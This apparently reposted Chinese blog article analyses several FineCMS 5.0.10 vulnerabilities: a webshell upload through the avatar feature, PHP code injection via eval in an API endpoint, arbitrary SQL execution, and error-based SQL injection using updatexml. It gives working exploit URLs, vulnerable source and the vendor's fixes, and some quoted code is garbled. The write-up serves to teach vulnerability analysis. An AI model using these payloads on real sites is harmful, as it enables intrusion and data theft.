zoukankan      html  css  js  c++  java
  • 技能篇丨FineCMS 5.0.10 多个漏洞详细分析

    今天是一篇关于技能提升的文章,文章中的CMS是FineCMS,版本是5.0.10版本的几个漏洞分析,主要内容是介绍漏洞修补前和修补后的分析过程,帮助大家快速掌握该技能。

    注:篇幅较长,阅读用时约7分钟。

    任意文件上传漏洞

    1、漏洞复现

    用十六进制编辑器写一个包含一句话木马的图片,去网站注册一个账号,然后到上传头像的地方。

    抓包,修改文件后缀名为.php并发包。

     

    技能篇丨FineCMS 5.0.10 多个漏洞详细分析

     

     

    可以看到文件已经上传到/uploadfile/member/用户ID/0x0.php

     

    技能篇丨FineCMS 5.0.10 多个漏洞详细分析

     

    2、漏洞分析

    文件:

    finecms/dayrui/controllers/member/Account.php 177~244行

    /**
    * 上传头像处理
    * 传入头像压缩包,解压到指定文件夹后删除非图片文件
    */
    public function upload() {
    // 创建图片存储文件夹
    $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
    @dr_dir_delete($dir);
    !is_dir($dir) && dr_mkdirs($dir);
    if ($_POST['tx']) {
    $file = str_replace(' ', '+', $_POST['tx']);
    if (preg_match('/^(data:s*image/(w+);base64,)/', $file, $result)){
    $new_file = $dir.'0x0.'.$result[2];
    if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
    exit(dr_json(0, '目录权限不足或磁盘已满'));
    } else {
    $this->load->library('image_lib');
    $config['create_thumb'] = TRUE;
    $config['thumb_marker'] = '';
    $config['maintain_ratio'] = FALSE;
    $config['source_image'] = $new_file;
    foreach (array(30, 45, 90, 180) as $a) {
    $config['width'] = $config['height'] = $a;
    $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
    $this->image_lib->initialize($config);
    if (!$this->image_lib->resize()) {
    exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));
    break;
    }
    }
    list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
    !$type && exit(dr_json(0, '图片字符串不规范'));
    }
    } else {
    exit(dr_json(0, '图片字符串不规范'));
    }
    } else {
    exit(dr_json(0, '图片不存在'));
    }
    // 上传图片到服务器
    if (defined('UCSSO_API')) {
    $rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
    !$rt['code'] && $this->_json(0, fc_lang('通信失败:%s', $rt['msg']));
    }
    exit('1');
    }

    在版本5.0.8中也曾存在问题,官方采用了白名单的思想进行修复,代码如下:

     if (!in_array(strtolower($result[2]), array('jpg', 'jpeg', 'png', 'gif'))) {
    exit(dr_json(0, '目录权限不足'));
    }
    ...
    $c = 0;
    if ($fp = @opendir($dir)) {
    while (FALSE !== ($file = readdir($fp))) {
    $ext = substr(strrchr($file, '.'), 1);
    if (in_array(strtolower($ext), array('jpg', 'jpeg', 'png', 'gif'))) {
    if (copy($dir.$file, $my.$file)) {
    $c++;
    }
    }
    }
    closedir($fp);
    }
    if (!$c) {
    exit(dr_json(0, fc_lang('未找到目录中的图片')));
    }

    任意代码执行漏洞

    1、漏洞复现

    auth下面的分析过程中会讲解到如何获取。

    浏览器输入:

    http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=cache%20name=MEMBER.1%27];phpinfo( );$a=[%271

     

    技能篇丨FineCMS 5.0.10 多个漏洞详细分析

     

    2、漏洞分析

    这个漏洞的文件在:

    /finecms/dayrui/controllers/Api.php的data2( )

    public function data2() {
    $data = array();
    // 安全码认证
    $auth = $this->input->get('auth', true);
    if ($auth != md5(SYS_KEY)) {
    // 授权认证码不正确
    $data = array('msg' => '授权认证码不正确', 'code' => 0);
    } else {
    // 解析数据
    $cache = '';
    $param = $this->input->get('param');
    if (isset($param['cache']) && $param['cache']) {
    $cache = md5(dr_array2string($param));
    $data = $this->get_cache_data($cache);
    }
    if (!$data) {
    // list数据查询
    $data = $this->template->list_tag($param);
    $data['code'] = $data['error'] ? 0 : 1;
    unset($data['sql'], $data['pages']);
    // 缓存数据
    $cache && $this->set_cache_data($cache, $data, $param['cache']);
    }
    }
    // 接收参数
    $format = $this->input->get('format');
    $function = $this->input->get('function');
    if ($function) {
    if (!function_exists($function)) {
    $data = array('msg' => fc_lang('自定义函数'.$function.'不存在'), 'code' => 0);
    } else {
    $data = $function($data);
    }
    }
    // 页面输出
    if ($format == 'php') {
    print_r($data);
    } elseif ($format == 'jsonp') {
    // 自定义返回名称
    echo $this->input->get('callback', TRUE).'('.$this->callback_json($data).')';
    } else {
    // 自定义返回名称
    echo $this->callback_json($data);
    }
    exit;
    }

    可以看到开头这里验证了认证码:

    // 安全码认证
    $auth = $this->input->get('auth', true);
    if ($auth != md5(SYS_KEY)) {
    // 授权认证码不正确
    $data = array('msg' => '授权认证码不正确', 'code' => 0);
    } else {

    授权码在/config/system.php

     

    技能篇丨FineCMS 5.0.10 多个漏洞详细分析

     

    可以看到SYS_KEY是固定的,我们可以在Cookies找到:

    /finecms/dayrui/config/config.php

     

    技能篇丨FineCMS 5.0.10 多个漏洞详细分析

     

    用浏览器查看Cookies可以看到KEY,但是验证用MD5,所以我们需要对KEY进行处理。

     

    技能篇丨FineCMS 5.0.10 多个漏洞详细分析

     

     

    直接看到这一段,调用了Template对象里面的list_tag函数:

    if (!$data) {
    // list数据查询
    $data = $this->template->list_tag($param);
    $data['code'] = $data['error'] ? 0 : 1;
    unset($data['sql'], $data['pages']);
    // 缓存数据
    $cache && $this->set_cache_data($cache, $data, $param['cache']);
    }

    我们到finecms/dayrui/libraries/Template.php看list_tag函数的代码,这里把

    param=action=cache%20name=MEMBER.1%27];phpinfo( );$a=[%271的内容分为两个数组$var、$val,这两个数组的内容分别为:

    $var=['action','name']
    $val=['cache%20','MEMBER.1%27];phpinfo();$a=[%271']

    $cache=_cache_var是返回会员的信息。

    重点的是下面的@evai('$data=$cache'.$this->_get_var($_param).';');

    foreach ($params as $t) {
    $var = substr($t, 0, strpos($t, '='));
    $val = substr($t, strpos($t, '=') + 1);

    再看这一段,因为swtich选中的是cache,所以就不再进行下面的分析了。

    $pos = strpos($param['name'], '.');这句是为下面的substr函数做准备,为了分离出的内容为:

    $_name='MEMBER'
    $_param="1%27];phpinfo();$a=[%271"
    // action
    switch ($system['action']) {
    case 'cache': // 系统缓存数据
    if (!isset($param['name'])) {
    return $this->_return($system['return'], 'name参数不存在');
    }
    $pos = strpos($param['name'], '.');
    if ($pos !== FALSE) {
    $_name = substr($param['name'], 0, $pos);
    $_param = substr($param['name'], $pos + 1);
    } else {
    $_name = $param['name'];
    $_param = NULL;
    }
    $cache = $this->_cache_var($_name, !$system['site'] ? SITE_ID : $system['site']);
    if (!$cache) {
    return $this->_return($system['return'], "缓存({$_name})不存在,请在后台更新缓存");
    }
    if ($_param) {
    $data = array();
    @evai('$data=$cache'.$this->_get_var($_param).';');
    if (!$data) {
    return $this->_return($system['return'], "缓存({$_name})参数不存在!!");
    }
    } else {
    $data = $cache;
    }
    return $this->_return($system['return'], $data, '');
    break;

    跟踪get_var函数,在这里我们先把$param的内容假设为a,然后执行函数里面的内容,最后返回的$string的内容是:$string=['a']

    那么我们的思路就是把两边的[' ']闭合然后再放上恶意的代码。

    payload为:1'];phpinfo();$a=['1,那么返回的$string的内容:

    $string=['1'];phpinfo();$a=['1']

    public function _get_var($param) {
    $array = explode('.', $param);
    if (!$array) {
    return '';
    }
    $string = '';
    foreach ($array as $var) {
    $string.= '[';
    if (strpos($var, '$') === 0) {
    $string.= preg_replace('/[(.+)]/U', '['1']', $var);
    } elseif (preg_match('/[A-Z_]+/', $var)) {
    $string.= ''.$var.'';
    } else {
    $string.= '''.$var.''';
    }
    $string.= ']';
    }
    return $string;
    }

    修复后的_get_var函数里面多了一个dr_safe_replace过滤函数,然后data2( )删除了。

     public function _get_var($param) {
    $array = explode('.', $param);
    if (!$array) {
    return '';
    }
    $string = '';
    foreach ($array as $var) {
    $var = dr_safe_replace($var);
    $string.= '[';
    if (strpos($var, '$') === 0) {
    $string.= preg_replace('/[(.+)]/U', '['1']', $var);
    } elseif (preg_match('/[A-Z_]+/', $var)) {
    $string.= ''.$var.'';
    } else {
    $string.= '''.$var.''';
    }
    $string.= ']';
    }
    return $string;
    }

    dr_safe_replace( )

    function dr_safe_replace($string) {
    $string = str_replace('%20', '', $string);
    $string = str_replace('%27', '', $string);
    $string = str_replace('%2527', '', $string);
    $string = str_replace('*', '', $string);
    $string = str_replace('"', '"', $string);
    $string = str_replace("'", '', $string);
    $string = str_replace('"', '', $string);
    $string = str_replace(';', '', $string);
    $string = str_replace('<', '<', $string);
    $string = str_replace('>', '>', $string);
    $string = str_replace("{", '', $string);
    $string = str_replace('}', '', $string);
    return $string;
    }

    任意SQL语句执行1

    1、漏洞复现

    浏览器:

    http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=sql%20sql=%27select%20version( );%27

     

    技能篇丨FineCMS 5.0.10 多个漏洞详细分析
    2、漏洞分析

    这里就不用debug模式去跟进了,如果有小伙伴对CI框架的数据库操作不熟悉的可以查阅官方文档:

    http://codeigniter.org.cn/user_guide/database/index.html

    问题一样出在:

    finecms/dayrui/controllers/Api.php中的data2( ),

    可以直接去看:

    finecms/dayrui/libraries/Template.php里面的list_tag( )函数。

    这里想说一下就是preg_match这个函数的作用,匹配过后sql是一个数组:

    array(2) {
    [0]=>
    string(23) "sql='select version();'"
    [1]=>
    string(17) "select version();"
    }

     

    技能篇丨FineCMS 5.0.10 多个漏洞详细分析

     

     

    这里判断了开头的位置是否只使用了select:

     if (stripos($sql, 'SELECT') !== 0) {
    return $this->_return($system['return'], 'SQL语句只能是SELECT查询语句');

    再往下看,这一句才是执行SQL的地方,传入sql内容和$system['site']默认是1,$system['cache'] 默认缓存时间是3600。

     $data = $this->_query($sql, $system['site'], $system['cache']);

    继续跟进_query( )函数

    public function _query($sql, $site, $cache, $all = TRUE) {
    echo $this->ci->site[$site];
    // 数据库对象
    $db = $site ? $this->ci->site[$site] : $this->ci->db;
    $cname = md5($sql.dr_now_url());
    // 缓存存在时读取缓存文件
    if ($cache && $data = $this->ci->get_cache_data($cname)) {
    return $data;
    }
    // 执行SQL
    $db->db_debug = FALSE;
    $query = $db->query($sql);
    if (!$query) {
    return 'SQL查询解析不正确:'.$sql;
    }
    // 查询结果
    $data = $all ? $query->result_array() : $query->row_array();
    // 开启缓存时,重新存储缓存数据
    $cache && $this->ci->set_cache_data($cname, $data, $cache);
    $db->db_debug = TRUE;
    return $data;
    }

    没有对函数进行任何过滤$query = $db->query($sql);,直接带入了我们的语句。

    官方的修复方法:删除了data2( )函数。

     

    任意SQL语句执行2

    1、漏洞复现

    浏览器:

    http://getpass1.cn/index.php?s=member&c=api&m=checktitle&id=1&title=1&module=news,(select%20(updatexml(1,concat(1,(select%20user( )),0x7e),1)))a

     

    技能篇丨FineCMS 5.0.10 多个漏洞详细分析

     

    2、漏洞分析

    文件在:

    finecms/dayrui/controllers/member/Api.php的checktitle( )函数:

     public function checktitle() {
    $id = (int)$this->input->get('id');
    $title = $this->input->get('title', TRUE);
    $module = $this->input->get('module');
    (!$title || !$module) && exit('');
    $num = $this->db->where('id<>', $id)->where('title', $title)->count_all_results(SITE_ID.'_'.$module);
    echo $num;
    $num ? exit(fc_lang('<font color=red>'.fc_lang('重复').'</font>')) : exit('');
    }

    其他的没什么过滤,主要是CI框架里面的一些内置方法,比如count_all_results,可以到:

    http://codeigniter.org.cn/user_guide/database/query_builder.html?highlight=count_all_results#CI_DB_query_builder::count_all_results 查看用法

    还有一个就是SITE_ID变量,它是指:

     

    技能篇丨FineCMS 5.0.10 多个漏洞详细分析

     

     

    站点是系统的核心部分,各个站点数据独立,可以设置站点分库管理。

     

    技能篇丨FineCMS 5.0.10 多个漏洞详细分析

     

     

    其他

    还有一个远程命令执行漏洞没能复现,是在api的html( )函数,说是可以用&来突破,但是evai只能用;来结束语句的结束。

    function dr_safe_replace($string) {
    $string = str_replace('%20', '', $string);
    $string = str_replace('%27', '', $string);
    $string = str_replace('%2527', '', $string);
    $string = str_replace('*', '', $string);
    $string = str_replace('"', '"', $string);
    $string = str_replace("'", '', $string);
    $string = str_replace('"', '', $string);
    $string = str_replace(';', '', $string);
    $string = str_replace('<', '<', $string);
    $string = str_replace('>', '>', $string);
    $string = str_replace("{", '', $string);
    $string = str_replace('}', '', $string);
    return $string;
    }

    以上是今天的全部内容,大家看懂了吗?

  • 相关阅读:
    PHP保留小数的相关方法
    ASP.NET Core MVC 之过滤器(Filter)
    ASP.NET Core MVC 之控制器(Controller)
    ASP.NET Core MVC 之视图组件(View Component)
    ASP.NET Core MVC 之局部视图(Partial Views)
    标签助手(TagHelper)
    ASP.NET Core MVC 之布局(Layout)
    ASP.NET Core MVC 之视图(Views)
    ASP.NET Core MVC 之模型(Model)
    九卷读书:淘宝从小到大的发展 -重读《淘宝技术这十年》
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/10944669.html
Copyright © 2011-2022 走看看